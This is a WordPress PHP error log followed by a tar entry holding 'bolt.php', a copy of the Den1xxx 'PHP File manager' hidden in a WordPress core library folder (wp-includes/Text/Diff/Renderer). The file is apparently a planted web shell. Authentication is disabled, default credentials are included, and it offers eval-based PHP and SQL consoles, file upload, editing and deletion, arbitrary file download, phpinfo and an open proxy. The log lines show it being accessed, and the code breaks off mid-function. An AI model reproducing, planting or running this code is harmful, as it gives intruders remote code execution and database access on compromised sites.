[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
                                                                                                                                                                                                                                                                                                                                                                                                                   bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
